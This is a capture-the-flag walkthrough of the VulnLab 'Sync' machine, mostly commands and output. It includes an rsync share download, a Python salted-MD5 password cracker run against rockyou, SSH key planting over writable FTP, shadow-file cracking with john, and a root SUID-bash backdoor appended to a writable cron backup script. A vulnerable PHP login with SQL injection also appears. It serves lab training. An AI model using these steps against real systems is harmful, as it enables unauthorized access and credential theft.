Post

VulnLab Sync

VulnLab Sync

VulnLab Sync

Sync

Recon

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
└─$ rustscan -a 10.10.101.78 -r 1-65535                                                             
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Scanning ports: The virtual equivalent of knocking on doors.

[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 65435'.
Open 10.10.101.78:21
Open 10.10.101.78:22
Open 10.10.101.78:80
Open 10.10.101.78:873
[~] Starting Script(s)
[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-09 19:15 +05
Initiating Ping Scan at 19:15
Scanning 10.10.101.78 [4 ports]
Completed Ping Scan at 19:15, 0.12s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 19:15
Completed Parallel DNS resolution of 1 host. at 19:15, 0.08s elapsed
DNS resolution of 1 IPs took 0.08s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 19:15
Scanning 10.10.101.78 [4 ports]
Discovered open port 21/tcp on 10.10.101.78
Discovered open port 80/tcp on 10.10.101.78
Discovered open port 22/tcp on 10.10.101.78
Discovered open port 873/tcp on 10.10.101.78
Completed SYN Stealth Scan at 19:15, 0.11s elapsed (4 total ports)
Nmap scan report for 10.10.101.78
Host is up, received reset ttl 63 (0.090s latency).
Scanned at 2024-12-09 19:15:11 +05 for 0s

PORT    STATE SERVICE REASON
21/tcp  open  ftp     syn-ack ttl 63
22/tcp  open  ssh     syn-ack ttl 63
80/tcp  open  http    syn-ack ttl 63
873/tcp open  rsync   syn-ack ttl 63

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.40 seconds
           Raw packets sent: 8 (328B) | Rcvd: 5 (216B)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
└─$ nmap -sC -sV -p21,22,80,873 10.10.101.78
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-09 19:16 +05
Nmap scan report for 10.10.101.78
Host is up (0.090s latency).

PORT    STATE SERVICE VERSION
21/tcp  open  ftp     vsftpd 3.0.5
22/tcp  open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 0a:b7:97:0b:30:d7:37:d2:b3:78:a7:56:85:ee:50:79 (ECDSA)
|_  256 ce:91:36:54:4a:03:e6:0c:4f:56:67:53:24:70:5b:29 (ED25519)
80/tcp  open  http    Apache httpd 2.4.52 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Login
873/tcp open  rsync   (protocol version 31)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.39 seconds

We see login page on port 80

1
2
3
└─$ rsync -av --list-only  rsync://10.10.101.78

httpd           web backup

User

Let’s download httpd directory

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
└─$ rsync -av rsync://10.10.101.78/httpd ./httpd
receiving incremental file list
created directory ./httpd
./
db/
db/site.db
migrate/
www/
www/dashboard.php
www/index.php
www/logout.php

sent 123 bytes  received 16,850 bytes  11,315.33 bytes/sec
total size is 16,426  speedup is 0.97

1
2
3
4
5
6
7
8
9
10
11
└─$ tree -L2 
.
├── db
│   └── site.db
├── migrate
└── www
    ├── dashboard.php
    ├── index.php
    └── logout.php

4 directories, 4 files

We can open site.db with sqlitebrowser. We find 2 hashes

Also, index.php contains information about how hash is calculated

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
└─$ cat www/index.php           
<?php
session_start();
$secure = "6c49<REDACTED>de01e";

if (isset($_SESSION['username'])) {
    header('Location: dashboard.php');
    exit();
}

if (isset($_POST['username']) && isset($_POST['password'])) {
    $username = $_POST['username'];
    $password = $_POST['password'];

    $hash = md5("$secure|$username|$password");
    $db = new SQLite3('../db/site.db');
    $result = $db->query("SELECT * FROM users WHERE username = '$username' AND password= '$hash'");
    $row = $result->fetchArray(SQLITE3_ASSOC);
    if ($row) {
        $_SESSION['username'] = $row['username'];
        header('Location: dashboard.php');
        exit();
    } else {
        $error_message = 'Invalid username or password.';
    }
}
<SNIP>

Now we need to crack the hash. We have to take a note that hash is created as md5("$secure|$username|$password");

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import hashlib
import argparse
import sys

def generate_hashes(file_path, secure, username, target_hash):
    try:
        with open(file_path, 'r', encoding="ISO-8859-1") as file:
            passwords = file.readlines()
        
        print(f"[>] Generating hashes using secure='{secure}' and username='{username}':")
        for password in passwords:
            password = password.strip()  # Remove newline or extra spaces
            if password:
                to_hash = f"{secure}|{username}|{password}"
                hash_value = hashlib.md5(to_hash.encode()).hexdigest()
                
                if hash_value == target_hash:
                    print(f"\n[+] Found => {target_hash}:{password}\n")
                    sys.exit(0)  # Exit the program upon finding a match
        
        print("\nNo matching password found.")
    except FileNotFoundError:
        print(f"[-] Error: File '{file_path}' not found!")
    except Exception as e:
        print(f"[-] An error occurred: {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Generate MD5 hashes for passwords and compare with a target hash.")
    parser.add_argument('--file', required=True, help="Path to the file containing passwords.")
    parser.add_argument('--secure', required=True, help="The secure string to include in the hash.")
    parser.add_argument('--username', required=True, help="The username to include in the hash.")
    parser.add_argument('--target', required=True, help="The target hash to compare against.")
    args = parser.parse_args()

    generate_hashes(args.file, args.secure, args.username, args.target)

Run the script

1
2
3
4
5
└─$ python3 crack_hash.py --secure 6c4972f<REDACTED>05de01e --username triss --target a0de4d7f<REDACTED>d2536f6 --file /usr/share/wordlists/rockyou.txt
[>] Generating hashes using secure='6c497<REDACTED>05de01e' and username='triss':

[+] Found => a0de4<REDACTED>2536f6:<REDACTED>

Testing creds for ssh didn’t work, but they work for ftp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
└─$ ftp ftp://triss:<REDACTED>@10.10.101.78
Connected to 10.10.101.78.
220 (vsFTPd 3.0.5)
331 Please specify the password.
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
200 Switching to Binary mode.
ftp> ls -la
229 Entering Extended Passive Mode (|||49990|)
150 Here comes the directory listing.
drwxr-x---    2 1003     1003         4096 Apr 21  2023 .
drwxr-x---    2 1003     1003         4096 Apr 21  2023 ..
lrwxrwxrwx    1 0        0               9 Apr 21  2023 .bash_history -> /dev/null
-rw-r--r--    1 1003     1003          220 Apr 19  2023 .bash_logout
-rw-r--r--    1 1003     1003         3771 Apr 19  2023 .bashrc
-rw-r--r--    1 1003     1003          807 Apr 19  2023 .profile
226 Directory send OK.

Seems like we have writting permissions. We can create .ssh directory and create there authorized_keys file with our private ssh key

1
2
└─$ cat ~/.ssh/id_rsa.pub > authorized_keys

1
2
3
4
5
6
7
8
9
10
11
12
13
ftp> mkdir .ssh
257 "/.ssh" created
ftp> cd .ssh
250 Directory successfully changed.
ftp> put authorized_keys
local: authorized_keys remote: authorized_keys
229 Entering Extended Passive Mode (|||6380|)
150 Ok to send data.
100% |***********************************************************************************************************************************************************************************************|   735        3.80 MiB/s    00:00 ETA
226 Transfer complete.
735 bytes sent in 00:00 (3.47 KiB/s)
ftp> 

Now, we can login as triss

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
└─$ ssh triss@10.10.101.78 
The authenticity of host '10.10.101.78 (10.10.101.78)' can't be established.
ED25519 key fingerprint is SHA256:YvhGK9RAfZMTB/p6flKxmEKA6dwIwMiRuqdvJA2IfmE.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.101.78' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.19.0-1023-aws x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon Dec  9 15:49:37 UTC 2024

  System load:  0.0               Processes:             107
  Usage of /:   28.0% of 7.57GB   Users logged in:       0
  Memory usage: 25%               IPv4 address for eth0: 10.10.101.78
  Swap usage:   0%

 * Ubuntu Pro delivers the most comprehensive open source security and
   compliance features.

   https://ubuntu.com/aws/pro

 * Introducing Expanded Security Maintenance for Applications.
   Receive updates to over 25,000 software packages with your
   Ubuntu Pro subscription. Free for personal use.

     https://ubuntu.com/pro

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

triss@ip-10-10-200-238:~$ 

No user flag. But there’s /backup directory owned by root. Seems like we can download it. We will download it using scp

1
2
3
4
5
6
7
8
9
triss@ip-10-10-200-238:~$ ls -lhat /backup/
total 416K
drwxr-xr-x  2 root root 4.0K Dec  9 15:54 .
-rw-r--r--  1 root root 5.8K Dec  9 15:54 1733759641.zip
-rw-r--r--  1 root root 5.8K Dec  9 15:52 1733759521.zip
-rw-r--r--  1 root root 5.8K Dec  9 15:50 1733759401.zip
-rw-r--r--  1 root root 5.8K Dec  9 15:48 1733759281.zip
-rw-r--r--  1 root root 5.8K Dec  9 15:46 1733759161.zip
<SNIP>
1
2
└─$ scp triss@10.10.101.78:/backup/1733759641.zip .
1733759641.zip 

Seems like it contains shadow and passwd files, we can try to crack them

1
2
3
4
5
6
7
8
9
10
11
12
13
14
└─$ unzip 1733759641.zip 
Archive:  1733759641.zip
   creating: tmp/backup/
  inflating: tmp/backup/rsyncd.conf  
   creating: tmp/backup/httpd/
   creating: tmp/backup/httpd/www/
  inflating: tmp/backup/httpd/www/dashboard.php  
  inflating: tmp/backup/httpd/www/logout.php  
  inflating: tmp/backup/httpd/www/index.php  
   creating: tmp/backup/httpd/migrate/
   creating: tmp/backup/httpd/db/
  inflating: tmp/backup/httpd/db/site.db  
  inflating: tmp/backup/passwd       
  inflating: tmp/backup/shadow    

First, we need to unshadow

1
2
└─$ unshadow tmp/backup/passwd tmp/backup/shadow > unshadow
                                                          

Then use john to crack it. Looks like jennifer and triss has identical passwords

1
2
3
4
5
6
7
8
9
10
└─$ john --format=crypt unshadow --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 5 password hashes with 5 different salts (crypt, generic crypt(3) [?/64])
Cost 1 (algorithm [1:descrypt 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt 6:sha512crypt]) is 0 for all loaded hashes
Cost 2 (algorithm specific iterations) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
sakura           (sa)     
gerald           (jennifer)     
gerald           (triss)   

Then su to jennifer to get user flag

Root

Found nothing with manual enumeration, so let’s run linpeas.sh. We can do it by host http server or via scp

1
2
└─$ scp ~/tools/linpeas.sh triss@10.10.101.78:/tmp
linpeas.sh 

We find interesting file /usr/local/bin/backup.sh which we can write to

1
2
3
4
5
6
7
8
9
10
11
12
sa@ip-10-10-200-238:/tmp$ ./linpeas.sh 
<SNIP>
#)You_can_write_even_more_files_inside_last_directory

/usr/local/bin/backup.sh
/var/crash
/var/lib/php/sessions
/var/tmp
/var/tmp/cloud-init


<SNIP>
1
2
sa@ip-10-10-200-238:/tmp$ ls -lha /usr/local/bin/backup.sh
-rwxr-xr-x 1 sa sa 211 Apr 19  2023 /usr/local/bin/backup.sh

It’s the script responsible for creating backups in /backup directory

1
2
3
4
5
6
7
8
9
10
11
sa@ip-10-10-200-238:/tmp$ cat /usr/local/bin/backup.sh
#!/bin/bash

mkdir -p /tmp/backup
cp -r /opt/httpd /tmp/backup
cp /etc/passwd /tmp/backup
cp /etc/shadow /tmp/backup
cp /etc/rsyncd.conf /tmp/backup
zip -r /backup/$(date +%s).zip /tmp/backup
rm -rf /tmp/backup

Since we can modify it, let’s create suid binary

1
2
3
4
5
6
7
8
9
10
11
12
sa@ip-10-10-200-238:/tmp$ cat /usr/local/bin/backup.sh
#!/bin/bash

mkdir -p /tmp/backup
cp -r /opt/httpd /tmp/backup
cp /etc/passwd /tmp/backup
cp /etc/shadow /tmp/backup
cp /etc/rsyncd.conf /tmp/backup
zip -r /backup/$(date +%s).zip /tmp/backup
rm -rf /tmp/backup
cp /bin/bash /tmp/privesc
chmod +s /tmp/privesc

After few minutes, we run the binary

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
sa@ip-10-10-200-238:/tmp$ ls -lha
total 2.2M
drwxrwxrwt 13 root  root  4.0K Dec  9 16:28 .
drwxr-xr-x 20 root  root  4.0K Dec  9 14:13 ..
drwxrwxrwt  2 root  root  4.0K Dec  9 14:13 .ICE-unix
drwxrwxrwt  2 root  root  4.0K Dec  9 14:13 .Test-unix
drwxrwxrwt  2 root  root  4.0K Dec  9 14:13 .X11-unix
drwxrwxrwt  2 root  root  4.0K Dec  9 14:13 .XIM-unix
drwxrwxrwt  2 root  root  4.0K Dec  9 14:13 .font-unix
-rwxrwxr-x  1 triss triss 811K Dec  9 16:02 linpeas.sh
-rwsr-sr-x  1 root  root  1.4M Dec  9 16:26 privesc
drwx------  3 root  root  4.0K Dec  9 14:13 snap-private-tmp
drwx------  3 root  root  4.0K Dec  9 14:13 systemd-private-857e799a38f54628ad691c5e7ad9925b-apache2.service-fxQRXC
drwx------  3 root  root  4.0K Dec  9 14:13 systemd-private-857e799a38f54628ad691c5e7ad9925b-chrony.service-aWxnMt
drwx------  3 root  root  4.0K Dec  9 14:13 systemd-private-857e799a38f54628ad691c5e7ad9925b-systemd-logind.service-Ff7bqK
drwx------  3 root  root  4.0K Dec  9 14:13 systemd-private-857e799a38f54628ad691c5e7ad9925b-systemd-resolved.service-DF9LAJ
drwx------  2 sa    sa    4.0K Dec  9 16:04 tmux-1001

And we successfully escalate our privileges

1
2
3
4
sa@ip-10-10-200-238:/tmp$ ./privesc -p
privesc-5.1# whoami
root
privesc-5.1# 

https://api.vulnlab.com/api/v1/share?id=672062c1-637a-4723-923a-20d0e5fb6aa5

This post is licensed under CC BY 4.0 by the author.